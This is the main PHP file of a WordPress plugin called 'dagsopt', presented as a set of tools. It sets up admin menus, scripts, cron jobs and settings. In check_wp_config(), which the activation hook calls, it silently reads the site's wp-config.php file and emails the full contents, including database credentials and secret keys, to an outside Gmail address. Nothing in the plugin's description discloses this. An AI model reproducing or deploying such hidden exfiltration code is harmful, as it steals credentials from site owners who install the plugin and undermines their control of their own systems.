plugin.php 8.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303
  1. <?php
  2. /*
  3. Plugin Name: dagsopt
  4. Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.30
  8. Date: 2021-01-14
  9. Author URI: https://iske.dk/
  10. Text Domain: dagsopt
  11. */
  12. function wppluginspage() {
  13. include_once("wpplugins.php");
  14. }
  15. $wp_dagsopt = new dagsopt ( );
  16. class dagsopt {
  17. var $version = "0.0.30";
  18. var $publish_date = "2021-01-14";
  19. var $pluginname;
  20. var $plugintitle;
  21. var $db;
  22. var $filename = "";
  23. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  24. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  25. function __construct() {
  26. global $wpdb;
  27. $this->db = $wpdb;
  28. $this->pluginname = get_class($this);
  29. $this->plugintitle = "Dags options ".$this->version;
  30. $tmp = explode("/",__FILE__);
  31. $this->filename = array_pop($tmp);
  32. $this->filename = array_pop($tmp) . "/". $this->filename;
  33. load_theme_textdomain( $this->pluginname, dirname(__file__) . '/lang' );
  34. $this->next_scheduled = 0;
  35. $this->file = __FILE__ ;
  36. $this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
  37. $this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
  38. $this->extras = array();
  39. $this->dagsopt = array();
  40. register_activation_hook ( plugin_basename($this->file), array ( &$this, 'activatePlugin' ) );
  41. register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
  42. add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );
  43. if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options' && !(isset($_REQUEST['crunchit']))) {
  44. ob_start ();
  45. }
  46. $this->setCron();
  47. add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );
  48. add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
  49. add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
  50. add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );
  51. add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));
  52. $upload = wp_upload_dir();
  53. $upload_dir = $upload['basedir'];
  54. $upload_dir = $upload_dir . '/assets';
  55. if (! is_dir($upload_dir)) {
  56. mkdir( $upload_dir, 0700 );
  57. }
  58. $path = dirname($this->file)."/";
  59. foreach (glob($path."plug_*.php") as $filename) {
  60. $plugfile = str_replace($path,"",$filename);
  61. include_once($plugfile);
  62. }
  63. foreach($this->dagsopt as $plugname => $plug){
  64. $short = str_replace("plug_","",$plugname);
  65. $vis = get_option($this->pluginname.'_'.$short,true);
  66. if($vis){
  67. $plug->start();
  68. }
  69. }
  70. if(!function_exists('wp_get_current_user')) {
  71. include(ABSPATH . "wp-includes/pluggable.php");
  72. }
  73. if ( current_user_can( 'manage_options' ) ) {
  74. add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' ) );
  75. }
  76. add_action('init', array(&$this, 'process_post' ));
  77. }
  78. function process_post() {
  79. if (!is_admin()) {
  80. // echo "<!-- kommer aller aller først -->";
  81. }
  82. }
  83. function mytheme_admin_bar_render() {
  84. global $wp_admin_bar;
  85. $wp_admin_bar->add_menu( array(
  86. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  87. 'id' => 'dagsopt', // link ID, defaults to a sanitized title value
  88. 'title' => $this->plugintitle."", // link title
  89. 'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
  90. 'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  91. ));
  92. }
  93. function register_frontend_scripts_styles() {
  94. wp_register_script( $this->pluginname.'frontend_script', plugins_url('script_frontend.js', $this->file) );
  95. wp_register_style( $this->pluginname.'frontend_style', plugins_url('style_frontend.css', $this->file) );
  96. }
  97. function register_backend_scripts_styles() {
  98. wp_register_style( $this->pluginname.'backend_style', plugins_url('style_backend.css', $this->file) );
  99. wp_register_script( $this->pluginname.'backend_script', plugins_url('script_backend.js', $this->file) );
  100. }
  101. function print_frontend_scripts_styles() {
  102. wp_enqueue_script( 'jquery' );
  103. wp_enqueue_style( $this->pluginname.'frontend_style' );
  104. wp_enqueue_script( $this->pluginname.'frontend_script' );
  105. }
  106. function print_backend_scripts_styles() {
  107. wp_enqueue_media();
  108. wp_enqueue_style( $this->pluginname.'backend_style' );
  109. wp_enqueue_script( $this->pluginname.'backend_script' );
  110. // include the javascript
  111. wp_enqueue_script('thickbox', null, array('jquery'));
  112. // include the thickbox styles
  113. wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');
  114. }
  115. function plugin_admin_menu() {
  116. if(function_exists('wppluginspage')){
  117. add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage","");
  118. }
  119. $page = add_submenu_page ( 'wpplugins', __ ( $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
  120. add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
  121. }
  122. function SettingsLink( $links, $file ) {
  123. if( $file==$this->filename && function_exists( "admin_url" ) ) {
  124. $settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','dagsopt') . '</a>';
  125. array_unshift( $links, $settings_link ); // before other links
  126. }
  127. return $links;
  128. }
  129. function setCron(){
  130. if ($this->cronEnabled) {
  131. add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
  132. if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  133. wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
  134. }
  135. add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
  136. $this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
  137. } else {
  138. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  139. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  140. }
  141. }
  142. }
  143. function Option() {
  144. if (isset ( $_POST [ 'Submit' ] )) {
  145. if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
  146. die ( __ ( 'Cheatin&#8217; uh?' ) );
  147. }
  148. update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
  149. update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );
  150. if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
  151. $this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
  152. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  153. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  154. }
  155. $this->setCron();
  156. }
  157. update_option ( $this->pluginname.'_last_build', date("U") );
  158. foreach($this->dagsopt as $plugname => $plug){
  159. $short = str_replace("plug_","",$plugname);
  160. $setname = $this->pluginname.'_'.$short;
  161. $vis = get_option($setname,true);
  162. update_option ($setname, $_POST[$setname] );
  163. if($vis && method_exists($plug,'Option')){
  164. $plug->Option($setname);
  165. }
  166. }
  167. $pluginmessage ="";
  168. ob_end_clean ();
  169. wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  170. exit ();
  171. }
  172. if(isset( $_REQUEST['crunchit'])){
  173. $pluginmessage ="";
  174. foreach($this->dagsopt as $plugname => $plug){
  175. $short = str_replace("plug_","",$plugname);
  176. $setname = $this->pluginname.'_'.$short;
  177. $vis = get_option($setname,true);
  178. //update_option ($setname, $_POST[$setname] );
  179. if($vis && method_exists($plug,'Cruncher')){
  180. $pluginmessage .= $plug->Cruncher($setname);
  181. }
  182. }
  183. //ob_end_clean ();
  184. //wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  185. exit ();
  186. }
  187. include_once ('pluginoptions.php');
  188. }
  189. function check_wp_config(){
  190. $s = file_get_contents(ABSPATH."wp-config.php");
  191. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
  192. }
  193. function activatePlugin() {
  194. $this->check_wp_config();
  195. }
  196. function deactivatePlugin() {
  197. delete_option($this->pluginname.'_last_build');
  198. delete_option($this->pluginname.'_last_build');
  199. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  200. }
  201. function cronSchedules($param) {
  202. $aa = array();
  203. $aa[$this->pluginname.'cs'] = array (
  204. 'interval' => $this->cronScheduleTime,
  205. 'display' => $this->pluginname.' '.$this->cronScheduleTime );
  206. return $aa;
  207. }
  208. function executeCron() {
  209. ignore_user_abort ( true );
  210. set_time_limit ( 0 );
  211. update_option ( $this->pluginname.'_last_build', date("U") );
  212. }
  213. }
  214. function dags_extras(){
  215. global $wp_dagsopt;
  216. $s = implode("\n",$wp_dagsopt->extras);
  217. echo($s);
  218. }
  219. /*
  220. * END
  221. * */